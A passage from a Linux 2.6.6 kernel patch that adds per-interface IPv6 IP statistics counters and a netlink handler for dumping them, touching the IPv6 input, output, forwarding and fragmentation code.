SNMP_INC_STATS_USER(ipv6_statistics, field) DECLARE_SNMP_STAT(struct icmpv6_mib, icmpv6_statistics); +/* new IPv6 MIB */ +DECLARE_SNMP_STAT(struct ip_stats, ipv6_stats); +#define IPV6_INC_STATS(idev, field) ({ \ + struct inet6_dev *_idev = (idev); \ + if (likely(_idev != NULL)) \ + SNMP_INC_STATS(_idev->stats.ipv6, field); \ + SNMP_INC_STATS(ipv6_stats, field); \ +}) +#define IPV6_INC_STATS_BH(idev, field) ({ \ + struct inet6_dev *_idev = (idev); \ + if (likely(_idev != NULL)) \ + SNMP_INC_STATS(_idev->stats.ipv6, field); \ + SNMP_INC_STATS_BH(ipv6_stats, field); \ +}) +#define IPV6_INC_STATS_USER(idev, field) ({ \ + struct inet6_dev *_idev = (idev); \ + if (likely(_idev != NULL)) \ + SNMP_INC_STATS(_idev->stats.ipv6, field); \ + SNMP_INC_STATS_USER(ipv6_stats, field); \ +}) +#define IPV6_ADD_STATS_BH(idev, field, addend) ({ \ + struct inet6_dev *_idev = (idev); \ + if (likely(_idev != NULL)) \ + SNMP_ADD_STATS_BH(_idev->stats.ipv6, field, addend); \ + SNMP_ADD_STATS_BH(ipv6_stats, field, addend); \ +}) +#define IPV6_ADD_STATS_USER(idev, field, addend) ({ \ + struct inet6_dev *_idev = (idev); \ + if (likely(_idev != NULL)) \ + SNMP_ADD_STATS_USER(_idev->stats.ipv6, field, addend); \ + SNMP_ADD_STATS_USER(ipv6_stats, field, addend); \ +}) +#define IPV6_ADD_STATS(idev, field, addend) ({ \ + struct inet6_dev *_idev = (idev); \ + if (likely(_idev != NULL)) \ + SNMP_ADD_STATS(_idev->stats.ipv6, field, addend); \ + SNMP_ADD_STATS(ipv6_stats, field, addend); \ +}) #define ICMP6_INC_STATS(idev, field) ({ \ struct inet6_dev *_idev = (idev); \ if (likely(_idev != NULL)) \ diff -urN linux-2.6.6/include/net/snmp.h linux-2.6.6-newmibs/include/net/snmp.h --- linux-2.6.6/include/net/snmp.h 2004-05-09 19:32:28.000000000 -0700 +++ linux-2.6.6-newmibs/include/net/snmp.h 2004-05-26 12:05:39.000000000 -0700 @@ -98,6 +98,43 @@ unsigned long Ip6OutMcastPkts; unsigned long __pad[0]; }; + +/* + * New IP MIBs from draft-ietf-ipv6-rfc2011-update-05.txt + */ +struct ip_stats +{ + unsigned long ipStatsInReceives; + unsigned long ipStatsInOctets; + unsigned long ipStatsInHdrErrors; + unsigned long ipStatsInNoRoutes; + unsigned long ipStatsInAddrErrors; + unsigned long ipStatsInUnknownProtos; + unsigned long ipStatsInTruncatedPkts; + unsigned long ipStatsInForwDatagrams; + unsigned long ipStatsReasmReqds; + unsigned long ipStatsReasmOKs; + unsigned long ipStatsReasmFails; + unsigned long ipStatsInDiscards; + unsigned long ipStatsInDelivers; + unsigned long ipStatsOutRequests; + unsigned long ipStatsOutNoRoutes; + unsigned long ipStatsOutForwDatagrams; + unsigned long ipStatsOutDiscards; + unsigned long ipStatsOutFragReqds; + unsigned long ipStatsOutFragOKs; + unsigned long ipStatsOutFragFails; + unsigned long ipStatsOutFragCreates; + unsigned long ipStatsOutTransmits; + unsigned long ipStatsOutOctets; + unsigned long ipStatsInMcastPkts; + unsigned long ipStatsInMcastOctets; + unsigned long ipStatsOutMcastPkts; + unsigned long ipStatsOutMcastOctets; + unsigned long ipStatsInBcastPkts; + unsigned long ipStatsOutBcastPkts; + unsigned long __pad[0]; +}; /* * RFC 1213: MIB-II ICMP Group @@ -335,6 +372,8 @@ (per_cpu_ptr(mib[!in_softirq()], smp_processor_id())->field++) #define SNMP_DEC_STATS(mib, field) \ (per_cpu_ptr(mib[!in_softirq()], smp_processor_id())->field--) +#define SNMP_ADD_STATS(mib, field, addend) \ + (per_cpu_ptr(mib[!in_softirq()], smp_processor_id())->field += addend) #define SNMP_ADD_STATS_BH(mib, field, addend) \ (per_cpu_ptr(mib[0], smp_processor_id())->field += addend) #define SNMP_ADD_STATS_USER(mib, field, addend) \ diff -urN linux-2.6.6/net/ipv6/addrconf.c linux-2.6.6-newmibs/net/ipv6/addrconf.c --- linux-2.6.6/net/ipv6/addrconf.c 2004-05-09 19:33:20.000000000 -0700 +++ linux-2.6.6-newmibs/net/ipv6/addrconf.c 2004-05-26 12:05:39.000000000 -0700 @@ -2963,6 +2963,101 @@ netlink_broadcast(rtnl, skb, 0, RTMGRP_IPV6_PREFIX, GFP_ATOMIC); } +static unsigned long +fold_field(void *mib[], int offt) +{ + unsigned long res = 0; + int i; + + for (i = 0; i < NR_CPUS; i++) { + if (!cpu_possible(i)) + continue; + res += + *((unsigned long *) (((void *)per_cpu_ptr(mib[0], i)) + + offt)); + res += + *((unsigned long *) (((void *)per_cpu_ptr(mib[1], i)) + + offt)); + } + return res; +} + +static int inet6_fill_ipstats(struct sk_buff *skb, struct inet6_dev *idev, + u32 pid, u32 seq, int event) +{ + struct ipstatsmsg *r; + struct nlmsghdr *nlh; + unsigned char *b = skb->tail; + struct ip_stats ipstats; + unsigned long *array; + int i, num; + + nlh = NLMSG_PUT(skb, pid, seq, event, sizeof(*r)); + if (pid) + nlh->nlmsg_flags |= NLM_F_MULTI; + r = NLMSG_DATA(nlh); + r->ipstats_family = AF_INET6; + r->ipstats_ifindex = 0; + num = offsetof(struct ip_stats, __pad) / sizeof(unsigned long); + memset(&ipstats , 0, sizeof(struct ip_stats)); + array = (unsigned long *)&ipstats; + if (idev == NULL) { + /* fill IP mibs system statistics */ + RTA_PUT(skb, IPSTATS_IFNAME, 3, "all"); + for (i = 0; i < num; i++, array++) { + *array = fold_field((void **)ipv6_stats, + i * (sizeof(unsigned long))); + } + } else { + /* fill IP mibs interface statistics */ + r->ipstats_ifindex = idev->dev->ifindex; + RTA_PUT(skb, IPSTATS_IFNAME, strlen(idev->dev->name)+1, + idev->dev->name); + for (i = 0; i < num; i++, array++) { + *array = fold_field((void **)idev->stats.ipv6, + i * (sizeof(unsigned long))); + } + } + RTA_PUT(skb, IPSTATS_COUNTERS, sizeof(struct ip_stats), &ipstats); + nlh->nlmsg_len = skb->tail - b; + return skb->len; + +nlmsg_failure: +rtattr_failure: + skb_trim(skb, b - skb->data); + return -1; +} + +static int inet6_dump_ipstats(struct sk_buff *skb, struct netlink_callback *cb) +{ + int err, idx = 0; + int s_idx = cb->args[0]; + struct net_device *dev; + struct inet6_dev *idev; + + /* fill IP mibs system statistics */ + inet6_fill_ipstats(skb, NULL, NETLINK_CB(cb->skb).pid, + cb->nlh->nlmsg_seq, RTM_NEWIPSTATS); + idx += 1; + /* fill IP mibs interface statistics */ + read_lock(&dev_base_lock); + for (dev=dev_base; dev; dev = dev->next, idx++) { + if (idx < s_idx) + continue; + if ((idev = in6_dev_get(dev)) == NULL) + continue; + err = inet6_fill_ipstats(skb, idev, NETLINK_CB(cb->skb).pid, + cb->nlh->nlmsg_seq, RTM_NEWIPSTATS); + in6_dev_put(idev); + if (err <= 0) + break; + } + read_unlock(&dev_base_lock); + cb->args[0] = idx; + + return skb->len; +} + static struct rtnetlink_link inet6_rtnetlink_table[RTM_MAX - RTM_BASE + 1] = { [RTM_GETLINK - RTM_BASE] = { .dumpit = inet6_dump_ifinfo, }, [RTM_NEWADDR - RTM_BASE] = { .doit = inet6_rtm_newaddr, }, @@ -2974,6 +3069,7 @@ [RTM_DELROUTE - RTM_BASE] = { .doit = inet6_rtm_delroute, }, [RTM_GETROUTE - RTM_BASE] = { .doit = inet6_rtm_getroute, .dumpit = inet6_dump_fib, }, + [RTM_GETIPSTATS - RTM_BASE] = { .dumpit = inet6_dump_ipstats, }, }; static void ipv6_ifa_notify(int event, struct inet6_ifaddr *ifp) diff -urN linux-2.6.6/net/ipv6/af_inet6.c linux-2.6.6-newmibs/net/ipv6/af_inet6.c --- linux-2.6.6/net/ipv6/af_inet6.c 2004-05-09 19:32:38.000000000 -0700 +++ linux-2.6.6-newmibs/net/ipv6/af_inet6.c 2004-05-26 12:05:39.000000000 -0700 @@ -670,6 +670,9 @@ if (snmp6_mib_init((void **)ipv6_statistics, sizeof (struct ipv6_mib), __alignof__(struct ipv6_mib)) < 0) goto err_ip_mib; + if (snmp6_mib_init((void **)ipv6_stats, sizeof (struct ip_stats), + __alignof__(struct ip_stats)) < 0) + goto err_ip6_mib; if (snmp6_mib_init((void **)icmpv6_statistics, sizeof (struct icmpv6_mib), __alignof__(struct ipv6_mib)) < 0) goto err_icmp_mib; @@ -681,6 +684,8 @@ err_udp_mib: snmp6_mib_free((void **)icmpv6_statistics); err_icmp_mib: + snmp6_mib_free((void **)ipv6_stats); +err_ip6_mib: snmp6_mib_free((void **)ipv6_statistics); err_ip_mib: return -ENOMEM; @@ -690,6 +695,7 @@ static void cleanup_ipv6_mibs(void) { snmp6_mib_free((void **)ipv6_statistics); + snmp6_mib_free((void **)ipv6_stats); snmp6_mib_free((void **)icmpv6_statistics); snmp6_mib_free((void **)udp_stats_in6); } diff -urN linux-2.6.6/net/ipv6/exthdrs.c linux-2.6.6-newmibs/net/ipv6/exthdrs.c --- linux-2.6.6/net/ipv6/exthdrs.c 2004-05-09 19:31:59.000000000 -0700 +++ linux-2.6.6-newmibs/net/ipv6/exthdrs.c 2004-05-26 12:05:39.000000000 -0700 @@ -156,10 +156,15 @@ { struct sk_buff *skb = *skbp; struct inet6_skb_parm *opt = (struct inet6_skb_parm *)skb->cb; + struct inet6_dev *idev = NULL; + + if (likely(skb->dev)) + idev = __in6_dev_get(skb->dev); if (!pskb_may_pull(skb, (skb->h.raw-skb->data)+8) || !pskb_may_pull(skb, (skb->h.raw-skb->data)+((skb->h.raw[1]+1)<<3))) { IP6_INC_STATS_BH(Ip6InHdrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); kfree_skb(skb); return -1; } @@ -173,6 +178,7 @@ } IP6_INC_STATS_BH(Ip6InHdrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); return -1; } @@ -224,10 +230,15 @@ struct ipv6_rt_hdr *hdr; struct rt0_hdr *rthdr; + struct inet6_dev *idev = NULL; + + if (likely(skb->dev)) + idev = __in6_dev_get(skb->dev); if (!pskb_may_pull(skb, (skb->h.raw-skb->data)+8) || !pskb_may_pull(skb, (skb->h.raw-skb->data)+((skb->h.raw[1]+1)<<3))) { IP6_INC_STATS_BH(Ip6InHdrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); kfree_skb(skb); return -1; } @@ -237,6 +248,7 @@ if (ipv6_addr_is_multicast(&skb->nh.ipv6h->daddr) || skb->pkt_type != PACKET_HOST) { IP6_INC_STATS_BH(Ip6InAddrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInAddrErrors); kfree_skb(skb); return -1; } @@ -253,12 +265,14 @@ if (hdr->type != IPV6_SRCRT_TYPE_0) { IP6_INC_STATS_BH(Ip6InHdrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); icmpv6_param_prob(skb, ICMPV6_HDR_FIELD, (&hdr->type) - skb->nh.raw); return -1; } if (hdr->hdrlen & 0x01) { IP6_INC_STATS_BH(Ip6InHdrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); icmpv6_param_prob(skb, ICMPV6_HDR_FIELD, (&hdr->hdrlen) - skb->nh.raw); return -1; } @@ -272,6 +286,7 @@ if (hdr->segments_left > n) { IP6_INC_STATS_BH(Ip6InHdrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); icmpv6_param_prob(skb, ICMPV6_HDR_FIELD, (&hdr->segments_left) - skb->nh.raw); return -1; } @@ -284,7 +299,8 @@ kfree_skb(skb); /* the copy is a forwarded packet */ if (skb2 == NULL) { - IP6_INC_STATS_BH(Ip6OutDiscards); + IP6_INC_STATS_BH(Ip6OutDiscards); + IPV6_INC_STATS_BH(idev, ipStatsOutDiscards); return -1; } *skbp = skb = skb2; @@ -303,6 +319,7 @@ if (ipv6_addr_is_multicast(addr)) { IP6_INC_STATS_BH(Ip6InAddrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInAddrErrors); kfree_skb(skb); return -1; } @@ -320,6 +337,7 @@ if (skb->dst->dev->flags&IFF_LOOPBACK) { if (skb->nh.ipv6h->hop_limit <= 1) { IP6_INC_STATS_BH(Ip6InHdrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); icmpv6_send(skb, ICMPV6_TIME_EXCEED, ICMPV6_EXC_HOPLIMIT, 0, skb->dev); kfree_skb(skb); @@ -432,28 +450,36 @@ static int ipv6_hop_jumbo(struct sk_buff *skb, int optoff) { u32 pkt_len; + struct inet6_dev *idev = NULL; + + if (likely(skb->dev)) + idev = __in6_dev_get(skb->dev); if (skb->nh.raw[optoff+1] != 4 || (optoff&3) != 2) { LIMIT_NETDEBUG( printk(KERN_DEBUG "ipv6_hop_jumbo: wrong jumbo opt length/alignment %d\n", skb->nh.raw[optoff+1])); IP6_INC_STATS_BH(Ip6InHdrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); goto drop; } pkt_len = ntohl(*(u32*)(skb->nh.raw+optoff+2)); if (pkt_len <= IPV6_MAXPLEN) { IP6_INC_STATS_BH(Ip6InHdrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); icmpv6_param_prob(skb, ICMPV6_HDR_FIELD, optoff+2); return 0; } if (skb->nh.ipv6h->payload_len) { IP6_INC_STATS_BH(Ip6InHdrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); icmpv6_param_prob(skb, ICMPV6_HDR_FIELD, optoff); return 0; } if (pkt_len > skb->len - sizeof(struct ipv6hdr)) { IP6_INC_STATS_BH(Ip6InTruncatedPkts); + IPV6_INC_STATS_BH(idev, ipStatsInTruncatedPkts); goto drop; } if (pkt_len + sizeof(struct ipv6hdr) < skb->len) { diff -urN linux-2.6.6/net/ipv6/icmp.c linux-2.6.6-newmibs/net/ipv6/icmp.c --- linux-2.6.6/net/ipv6/icmp.c 2004-05-09 19:32:27.000000000 -0700 +++ linux-2.6.6-newmibs/net/ipv6/icmp.c 2004-05-26 12:05:39.000000000 -0700 @@ -158,6 +158,7 @@ { struct dst_entry *dst; int res = 0; + struct inet6_dev *idev = NULL; /* Informational messages are not limited. */ if (type & ICMPV6_INFOMSG_MASK) @@ -173,8 +174,12 @@ * this lookup should be more aggressive (not longer than timeout). */ dst = ip6_route_output(sk, fl); + /* idev reference for IP MIBs */ + if (likely(dst->dev)) + idev = in6_dev_get(dst->dev); if (dst->error) { IP6_INC_STATS(Ip6OutNoRoutes); + IPV6_INC_STATS(idev, ipStatsOutNoRoutes); } else if (dst->dev && (dst->dev->flags&IFF_LOOPBACK)) { res = 1; } else { @@ -187,6 +192,9 @@ res = xrlim_allow(dst, tmo); } + /* release the idev reference for IP MIBs */ + if (likely(idev)) + in6_dev_put(idev); dst_release(dst); return res; } diff -urN linux-2.6.6/net/ipv6/ip6_input.c linux-2.6.6-newmibs/net/ipv6/ip6_input.c --- linux-2.6.6/net/ipv6/ip6_input.c 2004-05-09 19:32:54.000000000 -0700 +++ linux-2.6.6-newmibs/net/ipv6/ip6_input.c 2004-05-26 12:34:10.000000000 -0700 @@ -60,14 +60,22 @@ { struct ipv6hdr *hdr; u32 pkt_len; + struct inet6_dev *idev = NULL; + int err = 0; + + /* idev reference for input IP MIBs */ + if (likely(skb->dev)) + idev = in6_dev_get(skb->dev); if (skb->pkt_type == PACKET_OTHERHOST) goto drop; IP6_INC_STATS_BH(Ip6InReceives); + IPV6_INC_STATS_BH(idev, ipStatsInReceives); if ((skb = skb_share_check(skb, GFP_ATOMIC)) == NULL) { IP6_INC_STATS_BH(Ip6InDiscards); + IPV6_INC_STATS_BH(idev, ipStatsInDiscards); goto out; } @@ -81,6 +89,7 @@ if (!pskb_may_pull(skb, sizeof(struct ipv6hdr))) { IP6_INC_STATS_BH(Ip6InHdrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); goto drop; } @@ -90,6 +99,7 @@ goto err; pkt_len = ntohs(hdr->payload_len); + IPV6_ADD_STATS_BH(idev, ipStatsInOctets, skb->len); /* pkt_len may be zero if Jumbo payload option is present */ if (pkt_len || hdr->nexthdr != NEXTHDR_HOP) { @@ -98,6 +108,7 @@ if (pkt_len + sizeof(struct ipv6hdr) < skb->len) { if (__pskb_trim(skb, pkt_len + sizeof(struct ipv6hdr))){ IP6_INC_STATS_BH(Ip6InHdrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); goto drop; } hdr = skb->nh.ipv6h; @@ -110,20 +121,26 @@ skb->h.raw = (u8*)(hdr+1); if (ipv6_parse_hopopts(skb, offsetof(struct ipv6hdr, nexthdr)) < 0) { IP6_INC_STATS_BH(Ip6InHdrErrors); - return 0; + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); + goto out; } hdr = skb->nh.ipv6h; } - return NF_HOOK(PF_INET6,NF_IP6_PRE_ROUTING, skb, dev, NULL, ip6_rcv_finish); + err = NF_HOOK(PF_INET6,NF_IP6_PRE_ROUTING, skb, dev, NULL, ip6_rcv_finish); + goto out; truncated: IP6_INC_STATS_BH(Ip6InTruncatedPkts); + IPV6_INC_STATS_BH(idev, ipStatsInTruncatedPkts); err: IP6_INC_STATS_BH(Ip6InHdrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInHdrErrors); drop: kfree_skb(skb); out: - return 0; + if (likely(idev)) + in6_dev_put(idev); + return err; } /* @@ -139,6 +156,10 @@ int nexthdr; u8 hash; int cksum_sub = 0; + struct inet6_dev *idev = NULL; + + if (skb->dev) + idev = __in6_dev_get(skb->dev); skb->h.raw = skb->nh.raw + sizeof(struct ipv6hdr); @@ -193,16 +214,20 @@ ret = ipprot->handler(&skb, &nhoff); if (ret > 0) goto resubmit; - else if (ret == 0) + else if (ret == 0) { IP6_INC_STATS_BH(Ip6InDelivers); + IPV6_INC_STATS_BH(idev, ipStatsInDelivers); + } } else { if (!raw_sk) { if (xfrm6_policy_check(NULL, XFRM_POLICY_IN, skb)) { IP6_INC_STATS_BH(Ip6InUnknownProtos); + IPV6_INC_STATS_BH(idev, ipStatsInUnknownProtos); icmpv6_param_prob(skb, ICMPV6_UNK_NEXTHDR, nhoff); } } else { IP6_INC_STATS_BH(Ip6InDelivers); + IPV6_INC_STATS_BH(idev, ipStatsInDelivers); kfree_skb(skb); } } @@ -211,6 +236,7 @@ discard: IP6_INC_STATS_BH(Ip6InDiscards); + IPV6_INC_STATS_BH(idev, ipStatsInDiscards); rcu_read_unlock(); kfree_skb(skb); return 0; @@ -226,8 +252,13 @@ { struct ipv6hdr *hdr; int deliver; + struct inet6_dev *idev = NULL; + if (skb->dev) + idev = __in6_dev_get(skb->dev); IP6_INC_STATS_BH(Ip6InMcastPkts); + IPV6_INC_STATS_BH(idev, ipStatsInMcastPkts); + IPV6_ADD_STATS_BH(idev, ipStatsInMcastOctets, skb->len); hdr = skb->nh.ipv6h; deliver = likely(!(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI))) || diff -urN linux-2.6.6/net/ipv6/ip6_output.c linux-2.6.6-newmibs/net/ipv6/ip6_output.c --- linux-2.6.6/net/ipv6/ip6_output.c 2004-05-09 19:31:59.000000000 -0700 +++ linux-2.6.6-newmibs/net/ipv6/ip6_output.c 2004-05-26 12:13:36.000000000 -0700 @@ -74,6 +74,10 @@ struct dst_entry *dst = skb->dst; struct hh_cache *hh = dst->hh; + struct inet6_dev *idev = NULL; + + if (likely(skb->dev)) + idev = __in6_dev_get(skb->dev); if (hh) { int hh_alen; @@ -83,11 +87,15 @@ memcpy(skb->data - hh_alen, hh->hh_data, hh_alen); read_unlock_bh(&hh->hh_lock); skb_push(skb, hh->hh_len); + IPV6_INC_STATS_BH(idev, ipStatsOutTransmits); return hh->hh_output(skb); - } else if (dst->neighbour) + } else if (dst->neighbour) { + IPV6_INC_STATS_BH(idev, ipStatsOutTransmits); return dst->neighbour->output(skb); + } IP6_INC_STATS_BH(Ip6OutNoRoutes); + IPV6_INC_STATS_BH(idev, ipStatsOutDiscards); kfree_skb(skb); return -EINVAL; @@ -111,9 +119,12 @@ { struct dst_entry *dst = skb->dst; struct net_device *dev = dst->dev; + struct inet6_dev *idev = NULL; skb->protocol = htons(ETH_P_IPV6); skb->dev = dev; + if (likely(dev)) + idev = __in6_dev_get(dev); if (ipv6_addr_is_multicast(&skb->nh.ipv6h->daddr)) { struct ipv6_pinfo* np = skb->sk ? inet6_sk(skb->sk) : NULL; @@ -133,12 +144,15 @@ if (skb->nh.ipv6h->hop_limit == 0) { IP6_INC_STATS(Ip6OutDiscards); + IPV6_INC_STATS(idev, ipStatsOutDiscards); kfree_skb(skb); return 0; } } IP6_INC_STATS(Ip6OutMcastPkts); + IPV6_INC_STATS(idev, ipStatsOutMcastPkts); + IPV6_ADD_STATS(idev, ipStatsOutMcastOctets, skb->len); } return NF_HOOK(PF_INET6, NF_IP6_POST_ROUTING, skb,NULL, skb->dev,ip6_output_finish); @@ -157,6 +171,7 @@ { struct ipv6hdr *iph = skb->nh.ipv6h; struct dst_entry *dst; + struct inet6_dev *idev = NULL; struct flowi fl = { .oif = skb->sk ? skb->sk->sk_bound_dev_if : 0, .nl_u = @@ -167,18 +182,26 @@ }; dst = ip6_route_output(skb->sk, &fl); - + if (likely(skb->dev)) + idev = __in6_dev_get(skb->dev); if (dst->error) { IP6_INC_STATS(Ip6OutNoRoutes); + IPV6_INC_STATS_BH(idev, ipStatsOutNoRoutes); LIMIT_NETDEBUG( printk(KERN_DEBUG "ip6_route_me_harder: No more route.\n")); dst_release(dst); return -EINVAL; } + /* drop the IP MIBs reference for old idev */ + if (likely(skb->dst)) + in6_dev_put(__in6_dev_get(skb->dst->dev)); /* Drop old route. */ dst_release(skb->dst); + /* IP MIBs refer to the new dst idev */ + if (likely(dst->dev)) + idev = in6_dev_get(dst->dev); skb->dst = dst; return 0; } @@ -212,7 +235,13 @@ int seg_len = skb->len; int hlimit; u32 mtu; - + struct inet6_dev *idev = NULL; + int errno = 0; + + /* idev reference for IP MIBs */ + if (likely(skb->dst)) + idev = in6_dev_get(skb->dst->dev); + if (opt) { int head_room; @@ -229,7 +258,9 @@ skb = skb2; if (skb == NULL) { IP6_INC_STATS(Ip6OutDiscards); - return -ENOBUFS; + IPV6_INC_STATS(idev, ipStatsOutDiscards); + errno = -ENOBUFS; + goto out; } if (sk) skb_set_owner_w(skb, sk); @@ -263,7 +294,10 @@ mtu = dst_pmtu(dst); if ((skb->len <= mtu) || ipfragok) { IP6_INC_STATS(Ip6OutRequests); - return NF_HOOK(PF_INET6, NF_IP6_LOCAL_OUT, skb, NULL, dst->dev, ip6_maybe_reroute); + IPV6_INC_STATS(idev, ipStatsOutRequests); + IPV6_ADD_STATS(idev, ipStatsOutOctets, skb->len); + errno = NF_HOOK(PF_INET6, NF_IP6_LOCAL_OUT, skb, NULL, dst->dev, ip6_maybe_reroute); + goto out; } if (net_ratelimit()) @@ -271,8 +305,13 @@ skb->dev = dst->dev; icmpv6_send(skb, ICMPV6_PKT_TOOBIG, 0, mtu, skb->dev); IP6_INC_STATS(Ip6FragFails); + IPV6_INC_STATS(idev, ipStatsOutDiscards); kfree_skb(skb); - return -EMSGSIZE; + errno = -EMSGSIZE; +out: + if (likely(idev)) + in6_dev_put(idev); + return errno; } /* @@ -347,12 +386,22 @@ struct dst_entry *dst = skb->dst; struct ipv6hdr *hdr = skb->nh.ipv6h; struct inet6_skb_parm *opt =(struct inet6_skb_parm*)skb->cb; + struct inet6_dev *idev = NULL; + int errno = 0; + + /* idev reference for IP MIBs*/ + if (likely(dst)) + idev = in6_dev_get(dst->dev); - if (ipv6_devconf.forwarding == 0) + if (ipv6_devconf.forwarding == 0) { + errno = -EINVAL; goto error; + } if (!xfrm6_policy_check(NULL, XFRM_POLICY_FWD, skb)) { IP6_INC_STATS(Ip6InDiscards); + IPV6_INC_STATS(idev, ipStatsInDiscards); + errno = -EINVAL; goto drop; } @@ -374,7 +423,7 @@ if (opt->ra) { u8 *ptr = skb->nh.raw + opt->ra; if (ip6_call_ra_chain(skb, (ptr[2]<<8) + ptr[3])) - return 0; + goto out; } /* @@ -385,13 +434,17 @@ skb->dev = dst->dev; icmpv6_send(skb, ICMPV6_TIME_EXCEED, ICMPV6_EXC_HOPLIMIT, 0, skb->dev); - + IP6_INC_STATS(Ip6InDiscards); + IPV6_INC_STATS_BH(idev, ipStatsInDiscards); kfree_skb(skb); - return -ETIMEDOUT; + errno = -ETIMEDOUT; + goto out; } if (!xfrm6_route_forward(skb)) { IP6_INC_STATS(Ip6InDiscards); + IPV6_INC_STATS_BH(idev, ipStatsInDiscards); + errno = -EINVAL; goto drop; } @@ -422,6 +475,7 @@ } else if (ipv6_addr_type(&hdr->saddr)&(IPV6_ADDR_MULTICAST|IPV6_ADDR_LOOPBACK |IPV6_ADDR_LINKLOCAL)) { /* This check is security critical. */ + errno = -EINVAL; goto error; } @@ -431,12 +485,16 @@ icmpv6_send(skb, ICMPV6_PKT_TOOBIG, 0, dst_pmtu(dst), skb->dev); IP6_INC_STATS_BH(Ip6InTooBigErrors); IP6_INC_STATS_BH(Ip6FragFails); + IPV6_INC_STATS_BH(idev, ipStatsOutFragFails); kfree_skb(skb); - return -EMSGSIZE; + errno = -EMSGSIZE; + goto out; } if (skb_cow(skb, dst->dev->hard_header_len)) { IP6_INC_STATS(Ip6OutDiscards); + IPV6_INC_STATS_BH(idev, ipStatsInDiscards); + errno = -EINVAL; goto drop; } @@ -447,13 +505,18 @@ hdr->hop_limit--; IP6_INC_STATS_BH(Ip6OutForwDatagrams); - return NF_HOOK(PF_INET6,NF_IP6_FORWARD, skb, skb->dev, dst->dev, ip6_forward_finish); - + IPV6_INC_STATS_BH(idev, ipStatsOutForwDatagrams); + errno = NF_HOOK(PF_INET6,NF_IP6_FORWARD, skb, skb->dev, dst->dev, ip6_forward_finish); + goto out; error: IP6_INC_STATS_BH(Ip6InAddrErrors); + IPV6_INC_STATS_BH(idev, ipStatsInAddrErrors); drop: kfree_skb(skb); - return -EINVAL; +out: + if (likely(idev)) + in6_dev_put(idev); + return errno; } static void ip6_copy_metadata(struct sk_buff *to, struct sk_buff *from) @@ -524,8 +587,11 @@ u32 frag_id = 0; int ptr, offset = 0, err=0; u8 *prevhdr, nexthdr = 0; + struct inet6_dev *idev = NULL; dev = rt->u.dst.dev; + if (likely(dev)) + idev = __in6_dev_get(dev); hlen = ip6_find_1stfragopt(skb, &prevhdr); nexthdr = *prevhdr; @@ -564,6 +630,7 @@ tmp_hdr = kmalloc(hlen, GFP_ATOMIC); if (!tmp_hdr) { IP6_INC_STATS(Ip6FragFails); + IPV6_INC_STATS(idev, ipStatsOutFragFails); return -ENOMEM; } @@ -619,6 +686,7 @@ if (err == 0) { IP6_INC_STATS(Ip6FragOKs); + IPV6_INC_STATS(idev, ipStatsOutFragOKs); return 0; } @@ -629,6 +697,7 @@ } IP6_INC_STATS(Ip6FragFails); + IPV6_INC_STATS(idev, ipStatsOutFragFails); return err; } @@ -662,6 +731,7 @@ if ((frag = alloc_skb(len+hlen+sizeof(struct frag_hdr)+LL_RESERVED_SPACE(rt->u.dst.dev), GFP_ATOMIC)) == NULL) { NETDEBUG(printk(KERN_INFO "IPv6: frag: no memory for new fragment!\n")); IP6_INC_STATS(Ip6FragFails); + IPV6_INC_STATS(idev, ipStatsOutFragFails); err = -ENOMEM; goto fail; } @@ -720,6 +790,7 @@ */ IP6_INC_STATS(Ip6FragCreates); + IPV6_INC_STATS(idev, ipStatsOutFragCreates); err = output(frag); if (err) @@ -727,11 +798,13 @@ } kfree_skb(skb); IP6_INC_STATS(Ip6FragOKs); + IPV6_INC_STATS(idev, ipStatsOutFragOKs); return err; fail: kfree_skb(skb); IP6_INC_STATS(Ip6FragFails); + IPV6_INC_STATS(idev, ipStatsOutFragFails); return err; } @@ -822,6 +895,7 @@ int err; int offset = 0; int csummode = CHECKSUM_NONE; + struct inet6_dev *idev = NULL; if (flags&MSG_PROBE) return 0; @@ -1016,7 +1090,10 @@ return 0; error: inet->cork.length -= length; + if (likely(skb->dev)) + idev = __in6_dev_get(skb->dev); IP6_INC_STATS(Ip6OutDiscards); + IPV6_INC_STATS(idev, ipStatsOutDiscards); return err; } @@ -1033,6 +1110,7 @@ struct flowi *fl = &inet->cork.fl; unsigned char proto = fl->proto; int err = 0; + struct inet6_dev *idev = NULL; if ((skb = __skb_dequeue(&sk->sk_write_queue)) == NULL) goto out; @@ -1076,7 +1154,12 @@ ipv6_addr_copy(&hdr->daddr, final_dst); skb->dst = dst_clone(&rt->u.dst); - IP6_INC_STATS(Ip6OutRequests); + /* idev reference for IP MIBs */ + if (likely(skb->dst)) + idev = in6_dev_get(skb->dst->dev); + IP6_INC_STATS(Ip6OutRequests); + IPV6_INC_STATS(idev, ipStatsOutRequests); + IPV6_ADD_STATS(idev, ipStatsOutOctets, skb->len); err = NF_HOOK(PF_INET6, NF_IP6_LOCAL_OUT, skb, NULL, skb->dst->dev, dst_output); if (err) { if (err > 0) @@ -1096,6 +1179,8 @@ np->cork.rt = NULL; } memset(&inet->cork.fl, 0, sizeof(inet->cork.fl)); + if (likely(idev)) + in6_dev_put(idev); return err; error: goto out; @@ -1106,11 +1191,22 @@ struct inet_opt *inet = inet_sk(sk); struct ipv6_pinfo *np = inet6_sk(sk); struct sk_buff *skb; + struct inet6_dev *idev = NULL; while ((skb = __skb_dequeue_tail(&sk->sk_write_queue)) != NULL) { + if (skb->dst) { + if (!idev || skb->dst->dev != idev->dev) { + if (idev) + in6_dev_put(idev); + idev = in6_dev_get(skb->dst->dev); + } + } IP6_INC_STATS(Ip6OutDiscards); + IPV6_INC_STATS(idev, 